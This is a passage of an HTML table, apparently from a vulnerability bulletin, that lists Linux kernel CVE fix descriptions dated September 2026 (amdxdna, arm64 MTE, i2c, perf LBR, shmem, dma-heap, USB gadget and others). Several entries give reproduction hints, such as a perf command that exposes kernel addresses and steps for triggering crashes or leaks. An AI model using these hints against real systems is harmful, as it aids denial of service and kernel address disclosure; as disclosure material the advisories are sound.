&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89977&quot; target=&quot;_blank&quot;&gt;CVE-2026-89977&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: accel/amdxdna: return early from a zero-length flush SYNC_BO does not constrain its size, so a request for zero bytes reaches drm_clflush_virt_range(), which ends with an unconditional clflushopt(end - 1). For an empty range that is the byte before the mapping, and abo-&amp;gt;mem.kva comes from vmap(), so the access lands in the guard page below the vmalloc area and faults: BUG: unable to handle page fault for address: ffffd16fbbc70fff #PF: supervisor read access in kernel mode Oops: Oops: 0000 [#1] SMP NOPTI CPU: 7 UID: 1000 Comm: sync_bo_probe RIP: 0010:drm_clflush_virt_range+0x3c/0x70 Call Trace: amdxdna_drm_sync_bo_ioctl+0x124/0x430 [amdxdna] drm_ioctl+0x301/0x4c0 __x64_sys_ioctl+0x115/0x2f0 do_syscall_64+0xa6/0x3d0 Any process that can open the render node can do this. Reproduced 3 of 3 times on a Strix Point NPU (1022:17f0), by calling SYNC_BO with size 0 on an AMDXDNA_BO_SHARE object. The import arm takes the same request but flushes the whole scatterlist, so it survives it. Nothing needs flushing for an empty range, so answer before choosing a path.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89978&quot; target=&quot;_blank&quot;&gt;CVE-2026-89978&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: arm64: Don&#039;t read GMID_EL1 when MTE is disabled __cpuinfo_store_cpu() gates the GMID_EL1 read on the raw ID_AA64PFR1_EL1, so it reads the register even when the kernel has disabled MTE (CONFIG_ARM64_MTE=n or arm64.nomte). KVM sets HCR_EL2.TID5 in that case, and pKVM injects an UNDEF the host cannot handle: Internal error: Oops - Undefined instruction: 0000000002000000 [#1] SMP pc : __cpuinfo_store_cpu+0xf4/0x264 Kernel panic - not syncing: Attempted to kill the idle task! Only pKVM reaches it, and only after a CPU is offlined and brought back online: its CPU_ON relay sets the host HCR before the CPU enters EL1, while plain nVHE sets it at CPUHP_AP_KVM_ONLINE. Gate the read on the CPU&#039;s own ID_AA64PFR1_EL1 with the command-line override applied, and on CONFIG_ARM64_MTE, which no register reflects. The boot CPU stores its registers before init_cpu_features() strips an unsafe override, so clamp against the hardware value here too.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89981&quot; target=&quot;_blank&quot;&gt;CVE-2026-89981&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: i2c: mux: Fix channel node leak on adapter add failure i2c_mux_add_adapter() takes a reference to the Device Tree channel node before registering the new adapter. If adapter registration fails, the error path frees the private data without dropping that reference. Release the channel node before freeing the private data.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89982&quot; target=&quot;_blank&quot;&gt;CVE-2026-89982&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: i2c: core: fix debugfs UAF on adapter removal i2c_del_adapter() frees the adapter&#039;s debugfs directory before it unregisters the adapter device, but the new_device sysfs attribute stays writable until device_del(). A write racing with removal still reaches i2c_device_probe(), which passes the freed adap-&amp;gt;debugfs to debugfs_create_dir() as the new client&#039;s parent: BUG: KASAN: slab-use-after-free in lookup_noperm_common+0x407/0x430 Read of size 4 at addr ffff88803ef87810 by task syz.0.61/6090 lookup_noperm_common+0x407/0x430 simple_start_creating+0x9c/0x110 debugfs_start_creating+0xdb/0x1a0 debugfs_create_dir+0x24/0x350 i2c_device_probe+0x814/0xbf0 It&#039;s technically possible to create a client after i2c_deregister_clients has run. That client will never be unregistered and make wait_for_completion hang. Close the window by removing the new_device attribute at the start of i2c_del_adapter(). device_remove_file() will drain any clients left.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89983&quot; target=&quot;_blank&quot;&gt;CVE-2026-89983&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: perf/x86/intel: Fix kernel address leakages in LBR stack Before Arch LBR gained CPL filtering support, a user-only branch stack could still contain kernel addresses. As a result, kernel branch records may be exposed to user space even when PERF_SAMPLE_BRANCH_USER is requested. For example, on Intel Tiger Lake, the following command can still report SYSRET/ERET entries with kernel-space from addresses: $ ./perf record -e cycles:p -o - --branch-filter any,save_type,u -- \ ./perf bench syscall basic --loop 1000 | \ ./perf script -i - --fields brstack|tr &#039; &#039; &#039;\n&#039;| \ grep -E &#039;0x[89a-f][0-9a-f]{15}&#039; Total time: 0.000 [sec] 0.219000 usecs/op 4,566,210 ops/sec [ perf record: Woken up 1 times to write data ] [ perf record: Captured and wrote 0.551 MB - ] 0xffffffff93c001c8/0x7f12a2b1d647/P/-/-/16959/SYSRET/- 0xffffffff93c001c8/0x7f12a2b1d5c2/P/-/-/17535/SYSRET/- 0xffffffff93c01928/0x7f12a2861000/P/-/-/6719/ERET/- 0xffffffff93c01928/0x7f12a297a000/P/-/-/8575/ERET/- The problem is that intel_pmu_lbr_filter() does not fully validate the privilege level of sampled entries. It filters some mismatches based on the branch type and the to address, but it does not reject entries whose from address violates the requested branch privilege filter. Fix this by extending software filtering to validate both from and to addresses against br_sel. Any LBR entry contains kernel address does not match the requested user filter is dropped. This prevents kernel addresses from appearing in user-only branch stacks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89984&quot; target=&quot;_blank&quot;&gt;CVE-2026-89984&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm/huge_memory: transfer the pmd dirty bit to the folio on zap zap_huge_pmd_folio() propagates the pmd young bit to the folio for the file case, but not the dirty bit. The pte path does propagate it, in zap_present_folio_ptes() and so does the pmd split path, in __split_huge_pmd_locked(). For most file mappings the omission is harmless, because writing to a shared file mapping goes through page_mkwrite(), which dirties the folio. tmpfs is different: it has no page_mkwrite(), and vma_wants_writenotify() is false for it, so a *read* fault on a MAP_SHARED tmpfs mapping installs a writable pmd via do_read_fault(). do_read_fault() does not call fault_dirty_shared_page(), so subsequent stores through that mapping set only the hardware dirty bit in the pmd and never call folio_mark_dirty(). A shmem folio allocated by a fault is marked uptodate but not dirty (see the clear: block in shmem_get_folio_gfp()), so PG_dirty is never set at all. Unmapping such a folio - munmap(), or exit_mmap() when the process dies - then loses the only record that it was written, because zap_huge_pmd() drops the pmd without transferring the dirty bit. Reclaim afterwards sees a clean shmem folio: the whole swap-out block in shrink_folio_list() is inside &quot;if (folio_test_dirty(folio))&quot;, so pageout() is skipped and the folio falls into __remove_mapping(). There, folio_is_file_lru() is false for a swapbacked folio, so no shadow entry is created and __filemap_remove_folio(folio, NULL) simply empties the i_pages slot. The data is freed without ever being written to swap, and the next fault on that index returns a freshly zeroed folio. This is silent data loss for any process that keeps state in a MAP_SHARED tmpfs segment across an unmap - for example a cache handed from one process generation to the next through /dev/shm. It requires the folio to be PMD-mapped, so it only shows up once shmem THP is enabled (which is what we did in Meta fleet and started noticing crashes); with THP off the pte path transfers the dirty bit correctly. It also only becomes visible when swap is enabled, because with no swap device shmem folios (which are on the anon LRU) are not scanned by reclaim at all, so the clean folio is never dropped. Reproduced on x86_64 with a tmpfs mounted huge=within_size: read-fault a 2MB-backed region, write a known pattern through the resulting mapping, munmap, force reclaim of the cgroup, then re-map and read back. Without this patch the region reads back as zeros and vmstat shows zswpout 0 - the data was discarded rather than swapped. With this patch the region reads back correctly and the pages are swapped out as expected. With huge=never, or when the first touch is a write, the test passes either way.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89987&quot; target=&quot;_blank&quot;&gt;CVE-2026-89987&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ima: Check for ERR_PTR from dentry_path() in validate_hash_algo() dentry_path() returns ERR_PTR(-ENAMETOOLONG) when the path exceeds the buffer. validate_hash_algo() passes the result straight to integrity_audit_msg() without checking. ERR_PTR is not NULL, so integrity_audit_message() sees a valid pointer and calls strlen() on it, which faults: BUG: unable to handle page fault for address: ffffffffffffffdc RIP: 0010:strlen+0x30/0xa0 Call Trace: audit_log_untrustedstring+0x19/0x30 integrity_audit_message+0x366/0x4f0 ima_inode_setxattr+0x512/0x5f0 Check for IS_ERR() and use NULL instead, which makes the audit message skip the name= field instead of crashing.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89989&quot; target=&quot;_blank&quot;&gt;CVE-2026-89989&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Fix infinite loop in pcpu_freelist push with one possible CPU __pcpu_freelist_push() can loop forever when only one CPU is possible and an NMI re-enters pcpu_freelist_push() while the interrupted context holds that CPU&#039;s freelist lock. After the current-CPU fast path fails, the fallback loop walks cpu_possible_mask while skipping the current CPU. With CONFIG_SMP=n, or when an SMP kernel is limited to one possible CPU with nr_cpus=1 or possible_cpus=1, there are no other possible CPUs to examine. The loop therefore makes no lock acquisition attempt and can never make progress. The following stack was observed on a UP system: NMI context: pcpu_freelist_push free_htab_elem htab_map_delete_elem [perf-event BPF program] __perf_event_overflow perf_event_nmi_handler exc_nmi Interrupted context: __pcpu_freelist_push pcpu_freelist_push free_htab_elem htab_map_delete_elem [raw_tp/sys_enter BPF program] __bpf_trace_sys_enter do_syscall_64 raw_res_spin_lock() detects the same-CPU recursive acquisition and returns -EDEADLK, but the subsequent fallback loop has no candidate head on a system with one possible CPU. Restore the extra fallback head that existed before the rqspinlock conversion. Keep the current-CPU fast path, then try the other possible CPUs and finally the extra head. The additional head lets a push, which cannot fail without losing a preallocated element, make progress when the only per-CPU head is held by the interrupted context. Also check the extra head from the pop path so that nodes placed there can be reused.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89991&quot; target=&quot;_blank&quot;&gt;CVE-2026-89991&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dmaengine: dw-edma: Initialize IRQ data before requesting IRQs dw_edma_irq_request() passes struct dw_edma_irq to request_irq() before dw_edma_channel_setup() fills the back pointer. A shared interrupt can therefore enter the handler with dw_irq-&amp;gt;dw still NULL, leading to a NULL pointer dereference. Set the back pointer before installing each handler.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89993&quot; target=&quot;_blank&quot;&gt;CVE-2026-89993&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dma-buf: dma-heap: don&#039;t publish fd before copy_to_user() succeeds DMA_HEAP_IOCTL_ALLOC allocates a dma-buf and installs an fd into the caller&#039;s fd table via dma_buf_fd() -&amp;gt; fd_install() before dma_heap_ioctl() copies the result back to userspace. If the trailing copy_to_user() fails, userspace never learns the fd number, but the fd (and the underlying dma-buf reference) are already visible to other threads in the same process and are leaked for the lifetime of the process. The obvious &quot;close it on the failure path&quot; fix is unsafe: once fd_install() has run, another thread can already dup() the fd, send it via SCM_RIGHTS, or close() it and let its number be reused, so a subsequent close_fd() from the ioctl path can operate on an unrelated file. This was pointed out by Christian KÃ¶nig on v1 [1]. Restructure the allocation path so that fd_install() is the last, unfailable step of a successful ioctl: 1. heap-&amp;gt;ops-&amp;gt;allocate() creates the dma_buf. 2. get_unused_fd_flags() reserves an fd number in the caller&#039;s fd table without publishing it, so no other thread can observe it. 3. copy_to_user() delivers the fd number to userspace; on failure the fd is returned with put_unused_fd() and the dma_buf reference is dropped with dma_buf_put(), leaving no user- visible state behind. 4. dma_buf_fd_install() publishes the fd and emits the trace_dma_buf_fd tracepoint -- from here on the ioctl cannot fail. A new dma_buf_fd_install() helper is introduced in dma-buf.c to wrap fd_install() together with the DMA_BUF_TRACE() call, preserving the export tracing that dma_buf_fd() provides. dma_heap_ioctl_allocate() is refactored to return the struct dma_buf * directly (returning ERR_PTR on failure) so the caller holds the dmabuf reference across steps 3 and 4. The failure at step 3 is easily reachable from userspace: pass a struct dma_heap_allocation_data that lives in a page whose protection is flipped to PROT_READ between copy_from_user() and copy_to_user() (e.g. via mprotect()). Before this change each such ioctl leaks one dmabuf fd; after it, the fd table is unchanged on failure and only /dev/dma_heap/&amp;lt;name&amp;gt; remains open. No UAPI or heap-driver interface change. [1] https://lore.kernel.org/dri-devel/175e98de-f414-47d7-81c1-c0fe0a8f7f62@amd.com/&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89996&quot; target=&quot;_blank&quot;&gt;CVE-2026-89996&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm/damon/core: handle region split failure in apply_min_nr_regions() damon_apply_min_nr_regions() repeatedly split each region until its size becomes small enough to meet the user-defined low limit of the number of regions. The loop assumes the split operation (damon_split_region_at()) will always succeed and create the new region. But the operation could silently fail for memory allocation failures, for example. If such failure happens and the region was the last region, the linked list-based next region fetching returns invalid pointer. As a result, invalid memory dereference and corruption could happen. Even if the corner case is handled, it imposes stress to the allocator by trying split regions for other targets. Fix the issue by breaking all the loops for any region split failure. This means there could be a min_nr_regions violation. It will only rarely happen since the allocation is arguably too small to fail. Even if it happens, it is only temporal. damon_apply_min_nr_regions() will be called again after the aggregation interval. The user impact of the issue should be minor, since the allocation is arguably too small to fail. But, it could still theoretically happen, and the consequence is very bad. This issue was discovered [1] by Sashiko.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90004&quot; target=&quot;_blank&quot;&gt;CVE-2026-90004&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: samples/damon/wsse: handle damon_start() failure Patch series &quot;samples/damon: handle damon_{start,stop}() failures&quot;. All DAMON sample modules are not correctly handling failures from damon_start(). Among those, mtier also has an additional problem for handling of damon_stop() failures. wsse and prcl also have a problem in their damon_call() failure handling. As a result, memory leaks, next DAMON operation disruptions, and use-after-free can happen. Fix those. Note that only the damon_start() failure caused issues can reliably be reproduced. Reproducing those issues require the admin permission, though. This patch (of 6): damon_sample_wsse_start() callers assume it will clean up resources when it fails. And the function does the cleanup for context buildup failures. However, it is not doing the cleanup for damon_start() failure. As a result, when damon_start() fails, it leaks the memory for DAMON context. Free the context in case of the failure to fix the issues. Note that the issue can reliably be reproduced because the module calls damon_start() in the exclusive mode. For example, $ sudo damo start $ echo $$ | sudo tee /sys/module/damon_sample_wsse/parameters/target_pid $ echo Y | sudo tee /sys/module/damon_sample_wsse/parameters/enabled $ sudo cat /proc/allocinfo | grep damon_new_ctx Because the first command is running another DAMON instance, the third command fails the damon_start() call because the new DAMON instance cannot exclusively run. And without this fix, by repeating the third and the fourth commands above, we can show the memory consumption is only increasing due to the leaks. It requires the sudo permission though. The issue was discovered [1] by Sashiko.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90005&quot; target=&quot;_blank&quot;&gt;CVE-2026-90005&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: samples/damon/mtier: handle damon_stop() failure damon_sample_mtier_stop() assumes its damon_stop() call will always successfully stops the two DAMON contexts. Hence it deallocates the two DAMON contexts after the damon_stop() call. However, if a given context is already stopped, damon_stop() fails and returns an error while letting the DAMON contexts that have not yet stopped keep running. This kind of unexpected early DAMON context stops could happen due to memory allocation failures in kdamond_fn(). Because damon_sample_mtier_stop() just deallocates all DAMON contexts with damon_target and damon_region objects that are linked to the contexts, the execution of the unstopped DAMON context (kdamond) ends up using the memory that freed (use-after-free). Fix the issue by separating the damon_stop() to be invoked per context. Note that DAMON_SYSFS also allows multiple DAMON contexts execution. But, it calls damon_stop() for each context one by one. Hence this issue is only in mtier. For the long term, it would be better to refactor damon_stop() to always ensure stopping all contexts regardless of the failures in the middle. Make this fix in the current way, though, to keep it simple and easy to backport. I will do the refactoring later. The issue was discovered [1] by Sashiko.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90006&quot; target=&quot;_blank&quot;&gt;CVE-2026-90006&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xhci: fix lost bounce buffers on TDs spanning several ring segments When a TD reaches a link TRB with data that is not aligned to the endpoint&#039;s wMaxPacketSize, xhci_align_td() stages the unalignable tail through the bounce buffer of the ring segment holding that link TRB. xhci_unmap_td_bounce_buffer() later unmaps it and, for IN transfers, copies the data back into the URB&#039;s buffer. The enqueue path records the segment that was bounced in td-&amp;gt;bounce_seg, under the assumption that a TD never spans more than two ring segments. That assumption does not hold: a TD large enough to span three or more segments crosses several link TRBs and can be bounced at each of them. Only the last one survives in td-&amp;gt;bounce_seg, so every earlier bounce buffer is neither copied back nor DMA unmapped. The URB still completes with actual_length equal to the requested length and no error, so the transfer looks successful while a wMaxPacketSize sized hole in the destination buffer silently keeps its previous contents. It also leaks a DMA mapping per dropped bounce. Any sufficiently large and fragmented bulk transfer can hit this. It was found with a USB mass storage device behind xHCI backing a dm-verity target with 512 byte hash blocks, where the stale data is detected rather than silently consumed. The device enumerates as SuperSpeed, so wMaxPacketSize is 1024, while dm-bufio issues one 512 byte bio per hash block. verity_prefetch_io() makes the block layer merge hundreds of them into a single request of up to 512 scatterlist entries of 512 bytes each. At 256 TRBs per ring segment such a TD spans three segments, and every segment boundary falls on an odd multiple of 512, i.e. unaligned to wMaxPacketSize. dm-bufio then caches a hash block holding stale data and dm-verity declares the metadata block corrupted: device-mapper: verity: 8:2: metadata block 10850 is corrupted A reproducer running this under qemu is available at https://github.com/baloo/xhci-verity The bounce state (bounce_buf, bounce_dma, bounce_len, bounce_offs) already lives on the ring segment, so there is nothing extra to track. Keep recording the last bounced segment in td-&amp;gt;bounce_seg and, on completion, walk the segments from td-&amp;gt;start_seg up to it, unmapping every segment that still has a pending bounce. Stopping at td-&amp;gt;bounce_seg rather than td-&amp;gt;end_seg matters: a bounce implies the TD continues past that segment&#039;s link TRB, so bounce_seg is always strictly before end_seg, and a later TD may already have started in end_seg and been bounced there. Walking that far would copy a foreign bounce buffer into this URB and unmap it twice. It also keeps the walk correct if a TD ever wraps the whole ring so that end_seg == start_seg. [mn: Add ring-&amp;gt;num_segs check to prevent unlikely infinite for loop.]&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90015&quot; target=&quot;_blank&quot;&gt;CVE-2026-90015&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: gadget: fix null pointer dereference in usb_put_function_instance() usb_put_function_instance() attempts to dereference fd inside fi struct to get mod in uvc_alloc_inst() error path. However, fd is not allocated until later in try_get_usb_function_instance() after allocating fi in uvc_alloc_inst() and thus guranteed to be null in error path. Fix this by adding a null check for fi-&amp;gt;fd that returns if fd is null.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90019&quot; target=&quot;_blank&quot;&gt;CVE-2026-90019&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: USB: gadget: fix NULL pointer dereference in gadget_dev_ioctl() gadget_dev_ioctl() reads dev-&amp;gt;gadget before acquiring dev-&amp;gt;lock, but dev-&amp;gt;state is checked after acquiring the lock. Therefore a concurrent bind can change the device state between these operations, which can leave ioctl with a stale NULL gadget pointer and causing a NULL pointer dereference at gadget-&amp;gt;ops-&amp;gt;ioctl. Read dev-&amp;gt;gadget while holding dev-&amp;gt;lock so that the gadget pointer and device state are sampled consistently.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90020&quot; target=&quot;_blank&quot;&gt;CVE-2026-90020&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_midi: initialize work in f_midi_alloc() f_midi_alloc initializes free_ref to 1 and it can only be incremented when a sound card is registered via f_midi_register_card(). f_midi_register_card() is only called in f_midi_bind() which actually performs INIT_WORK. If f_midi_bind() is never run, work is not initialized and the if condition in f_midi_free becomes true, this results in a warning later in __flush_work as work-&amp;gt;func = 0. Fix this by moving INIT_WORK from f_midi_bind() to f_midi_alloc().&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90021&quot; target=&quot;_blank&quot;&gt;CVE-2026-90021&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_mass_storage: fix null pointer dereference in fsg_common_set_num_buffers() Previously fsg_num_buffers_validate() was removed as it was not necessary due to Kconfig setting the limits for n from 2 to 256 with default as 2. However, setting the page content in such a way that kstrtou8() reflects n value as either 0 or 1 bypasses these restrictions leading to a null pointer dereference if n is 0. Fix this by adding a check for n &amp;lt; 2 and returning -EINVAL if n is either 0 or 1 consistent with Kconfig logic.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90023&quot; target=&quot;_blank&quot;&gt;CVE-2026-90023&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: gadget: midi2: Fix null-pointer dereference in f_midi2_free_ep_reqs A null-pointer dereference occurs in f_midi2_free_ep_reqs() when attempting to clean up an endpoint that was never initialized. When configuring the MIDI 2.0 gadget via configfs and setting the block direction to SNDRV_UMP_DIR_INPUT, the initialization of the midi1_ep_out endpoint is explicitly skipped during the gadget bind phase (f_midi2_bind()). As a result, the usb_ep-&amp;gt;card field remains NULL. Later, when the host sets the alternate setting, f_midi2_set_alt() unconditionally stops both the IN and OUT endpoints by calling f_midi2_stop_eps(), which in turn calls f_midi2_free_ep_reqs() for both endpoints. When f_midi2_free_ep_reqs() is called for the uninitialized midi1_ep_out, it attempts to dereference usb_ep-&amp;gt;card to determine the number of requests to free, leading to a crash. Fix this by using usb_ep-&amp;gt;num_reqs instead of usb_ep-&amp;gt;card-&amp;gt;info.num_reqs in f_midi2_free_ep_reqs(). usb_ep-&amp;gt;num_reqs is correctly set during f_midi2_init_ep() and remains 0 if the endpoint was never initialized, safely avoiding the loop. For consistency, apply the same change to f_midi2_alloc_ep_reqs(). Oops: general protection fault, probably for non-canonical address 0xdffffc00000000ee: 0000 [#1] SMP KASAN NOPTI KASAN: null-ptr-deref in range [0x0000000000000770-0x0000000000000777] ... RIP: 0010:f_midi2_free_ep_reqs drivers/usb/gadget/function/f_midi2.c:1166 [inline] RIP: 0010:f_midi2_stop_eps+0x28e/0x4d0 drivers/usb/gadget/function/f_midi2.c:1246 ... Call Trace: &amp;lt;TASK&amp;gt; f_midi2_set_alt+0x11c/0xf00 drivers/usb/gadget/function/f_midi2.c:1296 composite_setup+0x1ffd/0x3480 drivers/usb/gadget/composite.c:1933 configfs_composite_setup+0xbd/0x100 drivers/usb/gadget/configfs.c:1877&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90024&quot; target=&quot;_blank&quot;&gt;CVE-2026-90024&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: typec: hd3ss3220: track VBUS enable state per consumer regulator_is_enabled() reports the aggregate regulator state, not whether this consumer holds an enable reference. If another consumer enables VBUS first, the driver can skip its own regulator_enable() call and later attempt to drop a reference it never acquired, triggering an unbalanced regulator disable warning. Track successful enable and disable calls locally. Keep the state unchanged when an operation fails so a later role or ID notification retries the operation while this consumer keeps balanced references.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90028&quot; target=&quot;_blank&quot;&gt;CVE-2026-90028&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: storage: realtek_cr: fix use-after-free on disconnect realtek_cr_destructor() calls timer_delete() before the chip containing the timer is freed. The timer callback may still be running and can rearm itself, resulting in a use-after-free. Use timer_shutdown_sync() to wait for the callback and prevent further rearming. Do this unconditionally because ss_en may be changed after the timer is armed. Move timer_setup() into init_realtek_cr() so the timer is initialized before any failure path can invoke the destructor. Found by static analysis.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
